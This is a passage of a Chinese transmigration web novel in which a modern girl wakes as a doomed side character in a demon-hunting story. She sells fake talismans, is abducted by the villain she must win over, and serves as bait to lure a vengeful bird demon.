《反派他不太正常》
1. 穿书
夜幕低垂,窗外泛着点点星光。
三两枝桠探入窗棂,整间屋子散发着甜腻的桃花香。
铜镜内映出端坐着的盈盈美人:柳叶眉,杏眼,唇瓣带了几分独属于少女的娇嫩。
几缕发丝垂落额前,如墨的长发被绾成蝴蝶形状,与发梢间的粉红发带相得益彰。
白玉项链环过她白皙的脖颈,自然垂落胸前,在摇曳的烛火下闪着剔透的光。
桃粉色襦裙衬得少女更为甜美,仿佛春日盛开的桃花。
苏锦锦的长相,五官端正,恰到好处,可若称明艳,那双杏眸宛如秋水盈盈,惹人怜惜,反添了几分道不出的悲戚。
典型的悲惨女配模样。
之所以坐在这里,全拜凌晨三点看的玄幻捉妖文。
这个世界恶气遮漫,妖物横生,主角替天行道,配角拍手称快。
而原著女配,苏锦锦,原是镇远侯府二小姐,性子明媚张扬,与原男主苏沐风虽不是血亲,性格上却出奇的相似。
在其他公子小姐读书习字的年纪,两人一个跟在白胡子老头身后神神叨叨画符,一个偷自家哥哥画的符,游走于长安街畔当江湖骗子。
这光鲜亮丽的背后,却隐藏着一个不为人知的秘密:
苏锦锦暗恋自己没有血缘关系的“哥哥”多年。
可她不是女主,也不是反派,只是一个为男女主感情做背景板的悲惨女配。
时光荏苒,苏沐风渐渐被清冷矜贵的女主林怀烟所吸引,两人相知相伴,彼此依靠。
因着怯懦胆小,苏锦锦始终不敢将自己不堪入目的少女心事诉之于口,只得陪在两人身侧,默默守护。
而苏锦锦在女主的衬托下,愈加自卑,愈加敏感,仿佛阴沟里的老鼠,窥探着幸福者的微光。
跟在主角团身后的反派时晏清,面对苏锦锦的冷嘲热讽,心中邪恶的火苗愈演愈烈。
最终却与主角团为破诅咒,被念妖吞噬,自此捉妖世界崩塌,曲终人散。
苏锦锦戏剧化的一生,爱而不得,默默守护,却落得个悲惨草率的结局。
好似从一开始,她的命运就被安排好,注定死亡,注定悲惨,注定为男女主做陪衬。
为此,屏幕外的苏锦锦还为这个与自己同名同姓的悲惨女配流下两行清泪。
再抬眸,苏锦锦只觉心脏刺痛,呼吸紊乱,本以为是心动的感觉,殊不知是要进医院的感觉。
两眼一黑,便坐在了这。
【检测到宿主情绪波动过大,已为宿主自动绑定女配“苏锦锦”人物,请宿主以“苏锦锦”人物走完全剧情,诛杀念妖】
清甜的少女音在苏锦锦脑海中措不及防响起,扰乱了思绪。
【主线任务:攻略反派“时晏清”,阻止捉妖世界崩塌,解开“时晏清”人物身世谜团】
【若好感度达到100%,宿主即可选择返回现实世界或留在平行世界】
苏锦锦身子后倾,如一滩水般软绵绵瘫靠在椅背,眼神空洞地盯着天花板。
欲哭无泪,心如死灰。
不待苏锦锦询问,那道清甜的少女音早已消失在脑海,最终只化为一声叹息。
“小姐,该上台了。”
小厮伫立在门口,双手叠放在青灰色布衫前,不时摩挲指尖,脸上堆着讨好的笑。
苏锦锦望着铜镜中的自己,胡乱整理了下发髻,匆忙戴起桌上的面纱,轻吐一口气,吹动面纱如波浪般涌动,便起身离开。
恰逢十五,暮色渐沉,长安街的冷清倒与醉香楼的喧哗格格不入。
原著中,每逢初一十五,苏锦锦便到醉香楼说书,靠着一张巧嘴,倒吸引了不少听客。
与其说是说书,倒不如说是拿着破符纸招摇撞骗,偏偏这些看客信以为真,大肆宣扬。
也不是缺银子,最开始是因着好玩,而每每苏沐风问自己符纸的去处时,便可以似儿时那般挽着苏沐风的胳膊撒娇。
日复一日,苏锦锦沉溺于这种幻梦编织的爱河中,自我攻略,久久不醒。
而原本生意冷清的醉香楼也因着苏锦锦的到来格外热闹,生意火爆。
在无数双漆黑且期待的眸子中,苏锦锦倒是从容不迫,步履轻盈地缓步上台。
苏锦锦手中折扇一折,发出清脆明快的响声。
“……近些日,长安少女失踪案,想必在坐诸位都略有耳闻。”
苏锦锦声线甜美,带着几分狡黠的笑意。
“每逢午夜,神鸟出没于长安街畔。”
“这神鸟通体金黄,嘶叫如猛兽,体型庞大,白日隐没山林,深夜出没,专挑落单妙龄少女下手。”
“不巧,我也是其中之一。”
话音刚落,台下众听客神色各异,议论纷纷,面上却写满了讶异与期待,纷纷等待着苏锦锦的下句。
“那姐姐怎么没事?”
稚嫩的童音从黑压压的人群中传来,在醉香楼里回荡。
孩童澄澈的眸子泛着亮光,藏不住稚气与天真。
苏锦锦微微欠身,同那双明亮的眸子对视,露出的一双杏眸似笑未笑:“问得好。”
苏锦锦转而起身,在台上从容踱步,白玉碰撞出声,似山间清泉冲刷暗石,泠泠作响。
“至于我是如何虎口脱险,死里逃生的……”
“那自是因为我乃天宗先生的得意门生,也多亏了这镇妖符。”
天宗先生,归隐灵幽谷的捉妖师,在乱世之中同捉妖世家林家并肩作战,听闻有两位弟子,但不曾知其名讳。
说罢,苏锦锦从袖口掏出一沓橙黄色符纸,众人的视线也不约而同齐刷刷望去。
“这镇妖符
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,乃我师兄亲传,无论大妖小妖,都可震慑。”
“今日,这镇妖符亲情价,不要九千九百九十九文,也不要九百九十九文,只要九十九文,保你全家老小平安。”
整本书下来,剧情囫囵吞枣,苏锦锦招摇撞骗的话术倒是学了不少,加上自己直播带货的套路,说出来也有了几分以假乱真的感觉。
“好!好!”
台下的老板娘鼓着掌,卖力地调动着氛围。
人群如浪潮般席卷而来,呼啦啦地围满台边。
霎时间,交谈声与嘈杂声占据了醉香楼。
苏锦锦稍加不自然的脸色才得以缓和,藏在下垂衣袂中的手也舒展开来。
怎么自己一穿进来就要干招摇撞骗的勾当!
时晏清懒散地靠在二楼栏杆处,骨节分明的指尖轻转着茶盏,旋即放在梨花木盘上,发出清脆的响声,在一片嘈杂声中冷清开口:
“这镇妖符,莫不是假的吧。”
声音不大不小,恰好传入各位的耳畔。
霎时间,醉香楼鸦雀无声,仿佛被按下了暂停键。
台下人目光纷纷投过去,苏锦锦也不自觉向上方移去。
苏锦锦仰视着少年,好似不服输的孔雀,睫羽打下一小片阴影,掩藏住眼底那抹涌动的情绪。
“这位公子,莫要诬陷,本小姐做的可都是诚信交易。”
话音刚落,一道橙黄色符纸疾如旋踵,在一众宾客的注视下,向苏锦锦直直飞来。
苏锦锦来不及躲避,猛然间被符纸砸中,酥麻感从指尖蔓延到脊髓,顿时只觉如鲠在喉,耳畔的嘈杂声渐渐隐没下去,整个人好似沉溺在汪洋大海之中。
半晌,苏锦锦粉嫩的唇瓣张张合合,吐出几个字:
“这符纸……”
后半段话被醉香楼老板娘捂住唇,梗在了喉咙里。
“今日小姐身体抱恙,下月初一再与各位相约醉香楼。”
老板娘身材丰腴,笑起来眼睛眯成一条缝,带着眼尾的小痣也舞动起来。
在老板娘连拖带拽手脚并用下,仿佛全身被灌了铅的苏锦锦被推搡着进了屋。
二楼那抹耀眼的鲜红身影也隐没在人群之中,无影无踪。
醉香楼即刻恢复了觥筹交错,推杯换盏的欢声笑语之中,只不过其中不时夹杂了些对符纸的猜疑与议论。
苏锦锦被推搡着进了屋,老板娘手脚麻利地关上木门,临走之前还给苏锦锦使了个眼色。
她自己也不知,怎么话一说出口,便不受控制了。
苏锦锦跌跌撞撞瘫倒在木椅上,眼神空洞且呆滞地顶着天花板,在零零碎碎的记忆碎片中,拼凑出了原著常用符纸之一:真话符。
不过这真话符多用来描写原男女主虐恋情深的感情线,此刻竟祸及池鱼,反倒用在了她的身上。
2. 初识
月光皎皎,风声浅浅,初春的晚风裹挟着缕缕凉气,混着桃花香,钻入衣领。
窗边窸窸窣窣传来声响,苏锦锦下意识抬头,望向来人。
时晏清一身耀眼且夺目的红衣,斜靠在窗边,在晚风中与苏锦锦的视线相撞。
方才台上匆匆瞥过一眼,这会倒是看清了时晏清的长相。
少年约莫十七八岁,穿着鲜红衣袍,领口处绣了白边,暗红色腰带松松垮垮系着,腰间挂着深褐色葫芦,玉冠束发,鲜红发带随着动作舞动。
少年身形清瘦修长,一双明亮的桃花眼直勾勾盯着苏锦锦。
只有苏锦锦知道,时晏清衣着光鲜亮丽,实际就是外表鲜艳,根茎腐败不堪的蔷薇花,在阴沟缝隙中倔强成长。
“苏小姐怎好好的镇远侯府不待,跑来醉香楼招摇撞骗?”
看似疑问,却透露出笃定的语气,令人不容置疑。
若不是苏锦锦看见时晏清腰间的深褐色葫芦,怕是真信了眼前之人不过是个普通的少年了。
少年袖口飞出一张符纸。
符纸擦过鬓边的碎发,顿时苏锦锦双手反扣,牢牢绑在木椅上。
苏锦锦起身挣扎,左扭右扭,见没有成效后,便像条待宰的咸鱼懒散地靠在椅背上,任人宰割。
“大哥你行行好吧,我不骗了不行吗?”
少女眼皮微抬,透露出淡淡的死感,如蜜般的嗓音流露出些许无奈。
时晏清垂着眼睫,唇角勾起一抹淡笑。
“我只是想找苏小姐问个事。”
时晏清尾调拉长,苏锦锦却听出了丝丝威胁的意味。
苏锦锦双手反绑在椅背上,杏眸中逐渐倒映着时晏清逐渐靠近的身影。
一股茉莉花香萦绕身边,消散不开。
时晏清手指轻挑,面纱落地,女儿家娇美的面庞忽的出现在时晏清的面前。
“那你先给我解开呗。”
苏锦锦眸中闪过一丝狡黠,引着时晏清的视线落在自己因挣扎稍微发红的皓腕处。
眸光闪烁,似一只灵动的小鹿。
见时晏清迟迟没有动作,苏锦锦又歪了歪头,示意他为自己松绑。
“解开便不必了,我自有安排——”
时晏清的话音吞没在木窗破开刺耳的响声中,苏锦锦连人带椅被时晏清带走,在月夜中消失的无影无踪。
破窗声音之大,引起老板娘的注意。
老板娘脚步踉跄,不慎绊到了桌角,又顾不得疼痛起身半推半搡开门。
屋内早已不见苏锦锦的身影,只剩一地残骸和后院幽幽的桃花香。
老板娘伫立在门口,眼神空洞且惊慌:“神、神鸟来了。”
小厮紧跟在老板娘身后,额头染了一层薄汗,打湿额前碎发,随即胡乱抬手擦了一擦:“没事,小姐不是有镇妖符吗?”
老板娘一拳重重砸在小厮的头上,小厮吃痛出声,捂着额头,整张脸皱在了一起:“有个屁的镇妖符,那是她瞎画的。”
*
暗沉的黑夜,倾吐着沉闷的气息,星光都被遮住,连风也不再流动。
时晏清带着姿势诡异的苏锦锦穿梭于青瓦之间,话音与风声呼啸而过。
“真话符一刻钟便可自动破解,苏小姐不必担心。”
担心倒是不担心,只不过苏锦锦感觉自己快要被颠死了。
也不知在黑天暗地之中徘徊了多久,一座破败的庙宇映入苏锦锦的眼帘。
晚风夹杂着寒意不断拍打着破庙的木门,木门布满蜘蛛网,被吹动时咯吱咯吱地响。
那响声好似欢迎又好似耻笑。
不知是颠簸了太久还是心里的恐惧,苏锦锦分明见木门后闪过一个白衣女子的身影,风声夹杂着女人的啜泣声传入耳中。
这是要杀了自己的节奏啊!
旋即,苏锦锦落下两行清泪,一股温润的泪打湿时晏清的手背。
“我真错了,我再也不骗人了。”
苏锦锦的声音蓦地颤抖起来。
时晏清将苏锦锦放下来,缓慢蹲下身,视线与苏锦锦齐平,盯着眼前痛哭流涕的少女。
“我又不吃人,苏小姐哭什么?”
时晏清抬起手背,轻轻划过苏锦锦的脸颊,替她摸了把泪。
此刻的动作却更笃定了苏锦锦心中那个诡异的猜想。
“苏小姐怎得知神鸟一事?”
脑海中的系统的提示音不断响起,苏锦锦躁动的心才得以平静。
苏锦锦唇瓣张张合合,还未吐出一个字,身后便传来了一道温和且带着急促喘息声的声音。
“锦锦。”
一道温柔的声线响起,两人的目光不约而同转向来人。
苏沐风一手捏着橙黄色符纸,符纸一角有些皱了,通讯符上还缠着两根墨色发丝。
“阿清?”
苏锦锦微微张大嘴巴:“你们认识?”
苏沐风温和一笑,风度翩翩,与周遭破败的环境格格不入。
“锦锦,这是师傅另一位徒弟,时晏清,自小跟在师傅身侧,天资卓越。”
原著中的确略写了这一段,若要怪只能怪自己看文不仔细。
苏沐风目光又转向五花大绑姿势诡异的苏锦锦,眼底生出一份警惕与疑惑:“你们这是在……”
时晏清大步上前,隔绝住苏沐风那道炽热的目光,又垂下头去不想同他对视。
“苏小姐在同我讨教术法。”
时晏清一双桃花眼勾人心魄,可此时苏锦锦倒没看出半分深情,一股冷风袭来,只觉寒意侵袭全身。
时晏清潜台词:
如果不想让你哥哥知道你是骗子就乖乖听话。
苏锦锦顺着时晏清的话,歪出一个毛茸茸的小脑袋,笑看着苏沐风,又重重地点了点头:“对对。”
苏沐风眉头微蹙,又如白纸般铺展开来,卸下了最后一点警惕。
这男主可真信任自己妹妹啊。
时晏清双手背到身后,手腕翻转,即刻,苏锦锦便恢复了自由,又变成了那个活蹦乱跳的苏锦锦。
“天色尚晚,苏公子还是先送苏小姐回府吧,免得惹到了神鸟,再丢了性命。”
说这话时,时晏清目光灼灼,苏锦锦不由得打了个寒颤,躲在苏沐风身后,双手附上苏沐风的雪白衣袍,露出半个小脑袋观察着时晏清。
苏沐风抬眸,恰巧对上时晏清带着几分戾气的黑眸,低着头轻叹一声。
他太了解时晏清的性子,以往在灵幽谷亦是
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如此,除了天宗先生,对任何人都永远保持着警惕,浑身带刺。
“阿清莫不是对神鸟一事感兴趣?”
苏沐风此话不假,近些日长安城神鸟出没,天子脚下,众百姓惶惶不安。
当今镇妖司事不关己,漠不关心,民间捉妖师兴起,斩妖除魔,而长安城神鸟一案,更令捉妖师们倍加关注。
“是啊。”
苏沐风浅笑,周遭渡上温柔的气息。
“那阿清愿意同我们一起吗?”
眼见苏沐风抛出橄榄枝,苏锦锦此刻心急如焚,目光在苏沐风和时晏清身上不断游走。
拒绝,拒绝,拒绝啊。
“好啊。”
苏锦锦心情犹如坠到谷底,粉身碎骨,可偏偏时晏清还恶趣味地露出一抹笑。
苏沐风勾唇浅笑,几人背靠月光。
回府的路上,苏锦锦耷拉着个脑袋,也不知是困了还是倦了,脚步沉重到抬不起来,宛如行尸走肉。
时晏清走在苏锦锦身后,看着眼前生无可恋的苏锦锦,只觉心情大好。
苏夫人提着一盏油灯站在府门,身旁男人为她捏着肩,又捏了捏苏夫人冰冷的指尖,心疼地看着自家娘子。
三人逆着月光,两人逐渐看清了他们的身影,苏夫人连忙起身迎了上去。
苏老将军本想拦着夫人,伸出的手又收了回来,吐出一口气,唇角挂笑,又有些宠溺。
“锦锦,你爹今日下朝回来说最近长安城有神鸟出没,专挑落单少女下手,圣上倍加关注此事,日后出门……”
话音戛然而止,空气仿佛凝固了几秒。
苏夫人看着苏锦锦身后的陌生男人,一瞬有些怔愣。
前几日苏沐风才带回个我见犹怜的病美人,今日苏锦锦便带回个来路不明的少年。
“锦锦,这是…”
苏锦锦顺着苏夫人的目光向身后看去,转而露出一抹温柔的笑:
“这是我朋友,时晏清,也是哥哥的师弟,修为颇深,暂住府中几日,也可保护我们。”
时晏清眼底泛过一抹亮色,转瞬即逝,消失在暗夜中。
随即微微颔首,算是行了个礼。
苏夫人与苏老将军四目相对,好似在对方眼神中询问意见。
苏锦锦亲昵地挽住苏夫人的胳膊,似小猫般在苏夫人身旁撒娇:“好不好嘛,娘亲。”
苏夫人摸摸苏锦锦毛茸茸的脑袋,眉眼间满是宠溺之色。
“既然是锦锦的朋友,那快进来吧。”
苏锦锦睫毛微颤,亲情的温暖她已经好久都未体会过了。
苏夫人挽着苏锦锦,苏老将军紧跟在苏夫人身后,独留苏沐风和时晏清在后头孤零零地跟着。
苏锦锦同丫鬟小禾带着时晏清到了女主林怀烟隔壁的客房歇下。
“为什么说朋友?”
时晏清语气戏谑,黑眸如湖水般波澜不惊,苏锦锦与时晏清对视几秒,时晏清便不自然地躲开了目光。
苏锦锦提着油灯,散发出暖黄的微光,围在两人身侧:“那说什么?说仇人你觉得娘亲可能同意让你住下吗?”
时晏清眼神晦暗不明,似有暗流涌动,如黄昏天边渐渐淡下来的日光,点点头示意明白后便关上了房门。
3. 灵狐
天气晴好,院内桃花散发阵阵清香。
亭子六角翘起,像是展翅欲飞的鸟,坐落在树荫下。
白衣少年与少女静坐亭中,两人隔着些距离,既不亲密,也不生疏,宛如一副动人的画卷,叫人不忍心打破此刻的宁静。
少女脸色有些苍白,白里透着一抹淡淡的红,墨发用木簪挽起,一身白衣似不染尘世的高岭之花。
眼前少女的美,犹如山间清泉,纯净而自然,眉如远山含黛,目似秋水盈盈,肤如凝脂,唇若点绛,整个人清冷高贵。
这便是原著中被神鸟袭伤恰巧被苏沐风救下的女主林怀烟。
不过两人身侧多了抹熟悉的鲜红身影,此刻倒显得有些突兀。
【系统提醒:支线任务——使女主“林怀烟”怒气值达到80%】
也不知这系统是怎的了,非得打搅小情侣的感情,它倒看热闹不嫌事大,惨的是苏锦锦昧着良心做任务。
苏锦锦杏眸转了一圈,唇角微微上扬:“什么办法都可以吗?”
【可以】
得到系统的允诺后,小蜜蜂·锦的支线任务便开启了。
“林姐姐,我不小心把你的木簪当柴火烧了。”
“没关系。”
“……”
“林姐姐,我不小心把你的结心铃拿水泡了。”
“没关系,干了还能用。”
“……”
“林姐姐,我不小心把你的胭脂当做糕点喂猫了。”
“没关系,我再去买。”
“……”
“猫?哪来的猫?”
苏沐风眉头微蹙,好似在考量些什么。
苏锦锦一手指向趴在桃花树阴下慵懒舔着爪子的“白猫”。
“在那啊。”
亭中几人的视线都随之望过去,那“白猫”四脚朝地,眯着眼睛一脸享受的模样。
苏锦锦几步走到“白猫”跟前,又摸了摸它雪白柔软的毛。
镇远侯府何时养了猫?原著中竟从未提到过。
只不过这猫下巴尖尖的,有些奇怪……
那猫蓦地睁开双眼,蓝绿异瞳增添了几分神秘,使得人吓了一跳。
“本喵是灵狐。”
“哇——”地一声,苏锦锦本能得踉跄几步,向后倒去,又跌进了个茉莉花香的怀抱。
“苏公子的灵狐,苏小姐怎么不认得了?”
苏锦锦挣脱时晏清的怀抱,讪笑两声:“认得认得。”
苏锦锦这才忆起原著中的这一段:天宗先生与林家惨死与念妖之手,走前交给时晏清收妖葫,又赐给苏沐风这只灵狐,陪他赴刀山火海。
灵狐本是雪山中的一只小雪狐,误食仙果开了灵智,又恰巧被天宗先生救下。
经历了这个小插曲之后,苏锦锦又拖沓着坐回六角亭中。
女主不愧是女主,内核强到可怕,折腾了半天,一点情绪波动也没有。
连支线任务都无法完成,更别提主线任务诛杀念妖了。
苏锦锦望着天的视线逐渐转移到对面端坐着的林怀烟,动了动唇。
“林姐姐,你知道念妖吗?”
林怀烟视线暗淡下去,半晌没开口,苏锦锦握着茶盏,露出半个小脑袋。
茶盏正不断升腾着白气,氤氲了林怀烟的神色。
【系统提醒:女主“林怀烟”角色怒气值上涨20%,目前怒气值20%】
【系统提醒:女主“林怀烟”角色怒气值上涨20%,目前怒气值40%】
【系统提醒:女主……】
【系统提醒:女主“林怀烟”角色怒气值上涨20%,目前怒气值80%】
【系统提醒:恭喜宿主完成支线任务】
说是恭喜,苏锦锦却从中听出了几分咬牙切齿的意味,一时不知该高兴还是忧虑。
苏沐风扯了扯林怀烟的衣袖,眼神安抚了下林怀烟,后者脸颊的粉红才渐渐淡去。
“世间妖物共分两种:一是天地养育的妖物,他们有的开了灵智,却不会轻易伤害人类。”
“而另一种,则是由怨恨,执念等情绪孕育的妖物,执念越深,妖力越强。”
林怀烟顿了一下,垂着头,身子却依旧挺的笔直。
茶盏中泛起涟漪,逐渐倒映出她衰败的神色。
“而念妖与长安城的神鸟,正是这类妖物。”
“千年前,念妖横空出世,打破天下安定,方士玄昭宁布下八方阵,这才得以安宁。”
“而七年前长公主殿下为一己私利修炼禁术,使得念妖重现世间,天下捉妖师死的死,伤的伤,却始终没有诛杀念妖。”
“而我爹娘,也死于念妖之手。”
随着话音落下,一滴泪划过林怀烟的脸颊,落入茶盏中,泛起涟漪。
人前,她是少年成名的捉妖师,而年仅二十岁的林怀烟,也只是个深夜会想念爹娘的小女孩。
苏锦锦慌忙从怀中掏出自己的一方帕子,帕子左下角还绣了朵“锦”字与一朵小巧的桃花。
林怀烟接过帕子,又抬起头朝着苏锦锦扬起一个笑容,示意她不要担心。
“没关系的林姐姐,还有我们会陪你的。”<
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p>女生的关系总是如此微妙,会因对方的善意而重拾自己的真心,以真心换真心,以真情待真情。
林怀烟整理好情绪后,又同几人探讨起了案情。
“如此来说,那神鸟同念妖一样,也应是某种情绪孕育而生。”
苏沐风不疾不徐开口:“万物有灵,事出必有因,这神鸟只针对年轻貌美少女下手,莫非…”
“嫉妒!”
不愧是女主,不仅内核强大,情绪稳定,且头脑灵活。
苏沐风颇有赞赏地看着林怀烟,又动了动唇:“不过为何嫉妒她们?”
气氛一瞬沉默下来,周遭传来阵阵鸟鸣,清脆悦耳。
“也许是神鸟生前遭受背叛,死后化为怨灵,需要吞噬少女精气,才可修炼成仙…”
林怀烟一手握拳,抵在下巴处,若有所思。
“若是如此,那她的目标并非这些无辜少女,而是另有其人…”
寥寥几句,两人心照不宣,珠联璧合道出了案件的起因。
“我有个主意。”
时晏清蓦地开口,几人纷纷抬头:“苏小姐貌美如花,正中神鸟下怀。”
“不如让苏小姐为饵,引出神鸟,再用收妖葫控制神鸟…”
“不行。”
“不行。”
两道声音不约而同响起,林怀烟与苏沐风面上尽显忧虑与笃定。
“锦锦凡人之躯,稍有不慎,轻则伤病缠身,重则…”
苏沐风后面的话没有说完,却道出了其中的弊端。
“锦锦是闺中小姐,不懂术法,若是真出了意外,怎么办?”
林怀烟声线不自觉拔高几分,语气中是她自己都不可察觉的急躁。
她自小到大,能吐露心声的人并不多,如今好不容易有了个能真心相待的小姐妹,也定是舍不得的。
苏锦锦端着茶盏的手悬在半空,拿不起,放不下,一时尴尬。
“没事的哥哥,林姐姐,我谨慎一些,有你们的保护,再使些符纸,定会没事的。”
“而且,若是再不出手,便可不知长安城还要牺牲多少无辜少女了。”
终归是心怀大义的男主,苏锦锦一番话,便叫他动摇。
苏沐风面色沉重,轻拍了拍苏锦锦的肩膀。
“辛苦你了,锦锦。”
苏锦锦笑了笑,又拿起梨花木盘上的糕点送入嘴里。
“傻人有傻福,我定能活到大结局的。”
几人跟着苏锦锦也笑起来,苏锦锦的笑声如银铃般悦耳,笑起来时,胸前的白玉项链也叮叮当当碰撞出声。
4. 为饵
明月当窗,月色如画。
天边的淡蓝逐渐吞噬下去,覆盖成如墨倾倒般的黑。
丫鬟小禾身着苏锦锦的衣裳,躺在床上,一动不动,僵硬地有些不自然。
小禾正犹豫着,刚想起身却被苏锦锦手疾眼快地一把按住。
“小姐……这,这不合规矩。”
“若是夫人知道会动怒的……”
苏锦锦眼神安抚了一下小禾,又缓步走回桌前慢慢坐下:“放心吧,出事了我担着。”
苏锦锦纤细的手紧紧握着眉笔,细细描眉,本就白皙的脸颊敷上了一层淡淡的胭脂,白里透红,如莲花般红晕。
时晏清懒散地斜靠在门口,静静看着桌前少女描眉。
苏锦锦蓦地转头,同时晏清四目相对,时晏清又巧妙地躲开目光。
苏锦锦的笑容轻柔如阳光,在心口铺上一层暖意。
“好看吗?”
时晏清眸中闪烁的光微微一颤,眼底划过一抹不易察觉的异色,若无其事地别开眼,半晌吐出几个字:“不好看。”
【系统提醒:待攻略对象时晏清好感度上涨5%,目前好感度10%】
沉闷的系统提示音戳破了少年不曾察觉的心意。
苏锦锦轻啧一声,绕过时晏清大步跨出门,留下一抹若有若无的桃花香。
“哥哥。”
苏锦锦提起自己粉红的裙摆,小跑向苏沐风,因着动作脸颊绯红。
“今日锦锦真好看。”
苏锦锦笑嘻嘻看着苏沐风:“我哪日不好看?”
“今日锦锦更美几分。”
门口的时晏清看着这温馨的一幕,心口没来由得一阵酸涩,似有小虫乱爬,又因着这股没来由的酸涩眉眼间染上一抹烦躁。
果然,人都喜欢奔向美好的事物,而阴暗潮湿的东西,往往无人问津。
苏锦锦回首,看着正出神的时晏清,喊了一声:“走啊。”
少年没有动作,黑眸直直盯着在石子中倔强生长的小草,抬起的脚又收了回去。
苏锦锦提起裙摆奔向时晏清,一把拉住他的胳膊,撇了撇嘴:“快走了呀,别愣神了。”
*
长安街静谧地可怕,周遭连虫鸣声都不复存在,苏锦锦提着一盏油灯独自走在前列。
而为引出神鸟,其余三人连同着灵狐则跟在暗处,注视着苏锦锦的一举一动。
“快来啊。”
正如原著描写的那般,神鸟隐藏在黑暗中,嘶哑如猛兽,令人心生畏惧。
苏锦锦提着油灯的手微微颤抖,小油灯也似江水中央漂泊不定的小舟般摇晃一下。
自己发的誓,再苦也要走下去。
此刻的苏锦锦又无比痛恨白日信誓旦旦的苏锦锦。
长安街的尽头蒙上一层黑雾,似真似幻,叫人看不真切。
黑雾中逐渐走出一个小女孩,小女孩正值豆蔻年华,与苏锦锦差不了几岁。
小女孩皮肤娇艳,皮肤苍白如纸,嫣红的唇,衣摆长到拖地,却带着一丝说不出的诡异。
苏锦锦提着油灯的手凑近了几分,暖光的光萦绕在两人身边。
苏锦锦终于知道那股说不出的诡异是什么了:
这小女孩在用手背招手啊!
喉间涌上一股异样,苏锦锦才发觉自己已经发不出声了。
下垂的手死死掐着自己,强迫自己冷静,指尖因为用力已经泛白。
心跳如鼓。
苏锦锦觉得好像有人在掐着自己的喉咙,呼吸也急促起来。
小女孩言笑晏晏,活泼灵动,背过身引路,渐渐黑雾席卷,失去方向感后随即涌上的便是无尽的恐惧与迷茫。
小油灯此刻照亮身侧的一小片光亮,最多也只能起到心理慰藉的作用。
小女孩忽的转过身,一双黑眸直勾勾地盯着苏锦锦,那乌黑的瞳孔几乎要占据整个眼眶,令人生理不适。
苏锦锦笑容僵硬,此刻比哭还难看。
“你身上气息不对。”
苏锦锦强压住心底的那抹恐惧,声音也微微颤抖起来:“怎么了?”
小女孩迅速伸出手,可眼前的一幕却把苏锦锦吓了一大跳。
那广袖下,一双苍白枯槁的手干燥得好似半截老树根,直直伸向苏锦锦的袖口。
那双手好似六七十岁的垂暮老人,与眼前嫩的出水的脸蛋形如两人。
苏锦锦伸手去挡,却始终慢了一步,小女孩的手早已掏出袖口一沓橙黄色符纸。
两人四目相对,满是错愕,小女孩化作原形,咆哮着张开双翅。
苏锦锦只觉身后有股强劲的力量将她提溜起,悬在半空中。
凭空的一道淡蓝色绳子将苏锦锦紧紧捆绑,另一端连在神鸟的身上,绳子发出的光还随着神鸟的语气变幻着。
“你骗我,你是捉妖人。”
神鸟体型庞大,面目狰狞,尽显可怖之色。
“你残害无辜少女,难道你不更可恶吗?”
苏锦锦义愤填膺,一双杏眸坚定且认真。
“我又有什么错?我不过是吸食了她们的灵气。”
神鸟身上的怨气几乎要将苏锦锦包裹吞噬,苏锦锦倒也不慌。
毕竟原著中苏锦锦迟早还是会被主角团救下的,多疼一会少疼一会也无妨。
“那你吸食灵气后的
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目的是什么?”
“当然是变成神女。”
苏锦锦眉头微蹙:“你都是神鸟了还要变成神女啊。”
神鸟咆哮着,吞吐的气息如烟如雾,在空中不断变幻着:“这样阿沉哥哥便能一直在我身边了。”
“不,我应该恨他的。”
神鸟显然还未反应过来自己被套话了,尖嘴吐出的字尽显疯狂。
神鸟神神叨叨自顾自说起来,倾吐出全部的恨意,连带着黑云也抖了抖。
她说她与心上人春宵一度后,才得知心上人与当朝长宁郡主有婚约在身,自己再无可能伏低做小,连个外室的身份都得不到。
当今长宁郡主是长公主殿下所出,金枝玉叶,即便长公主殿下离世,也是景和最受宠的女孩。
当时她已有身孕,想与心上人见面,恳求心上人回心转意,却被无情拒绝。
伤心欲绝下,凌冽的秋雨润湿了发梢,润湿了肩,润湿了衣摆。
连带着肚子里还未出世的小生命也扼杀在了这场秋雨中。
她恨,又无可奈何,转而做了青楼的一枝名花,与心上人再无瓜葛。
最后一次的相见,在冬日,心上人与长宁郡主携手,牵着一个半大的孩子到寺庙中礼佛。
她只得眼睁睁看着昔日承诺自己“一生一世一双人”的心上人为长宁郡主亲昵地系着斗篷,而脚边的孩子望着两人也“咯咯”地笑。
她便知道了,知道那如梦似幻的爱,终究是一场雨。
她可有可无的爱,也早应扼杀在那场秋雨之中。
带着怨恨,带着冤屈,她吊死在青楼中,含恨而终。
她的死讯带到心上人耳边,长宁郡主询问,心上人淡淡吐出几个字:“无关紧要。”
她的死就像冬日中的一片雪花,多了如此,少了亦如此,无关紧要,无人在意。
说罢,一滴温润的泪落在苏锦锦手背,在暗夜中泛着丝丝凉意。
神鸟哭了。
苏锦锦抬眸,两双澄澈的眸子对视,此刻也竟无了先前对神鸟的恐惧。
“我承认你是无辜的,遭到心上人的背叛。”
“可是你有没有想过,那些死去的无辜少女,同你一样,正是花一样的年纪,她们本该拥有大好青春的,难道她们就不无辜吗?”
神鸟被苏锦锦的一番话所动怒,显然,不能和妖讲道理。
神鸟的力气大得出奇,那绳子愈发紧了起来,惹得人透不过气来,心脏好似要炸裂般的痛苦。
“那如此,多一个少一个也无妨,你也与我陪葬吧。”
神鸟眼神中闪过戾气,双目一眨不眨,好似有熊熊烈火在燃烧。
5. 收妖
黑雾上空悬着少女。
少女一身夺目的红白衣裳,夜风吹动着她的白色发带也翩翩起舞。
紧闭的双眸猛地睁开,蓝绿异瞳迸发出耀眼的光。
“苏锦锦在那边。”
少女一手指向黑雾中的一个方向,又引着几人上前去。
苏锦锦身上禁锢的绳子愈发紧了起来,心脏好似炸裂般的痛楚,呼吸也开始紊乱起来。
身后传来低语,三人连同着灵狐也悬在半空。
时晏清语速又低又快,腰间深褐色的收妖葫也剧烈抖动起来。
那抹鲜红的身影在夜空中划出一道痕迹,突兀且张扬。
神鸟金黄的羽翼顿时燃烧起来,怒火缠身,神鸟不住地嘶哑鸣叫。
禁锢一松,先到来的不是死里逃生地庆幸,而是不可控的失重。
苏锦锦措不及防掉了下去,却意外地稳稳落入一个梅香的怀抱。
那香味如皑皑白雪下的几枝梅花,苏锦锦颤巍巍睁开一只眼睛,恰巧撞见了林怀烟关怀的目光。
“没事吧锦锦。”
林怀烟将苏锦锦放在地面,苏锦锦大口喘息着,一手握拳不断捶打着胸口,又看着林怀烟的方向摇了摇头。
林怀烟稍作安抚后,脚尖一点,轻巧地升入空中。
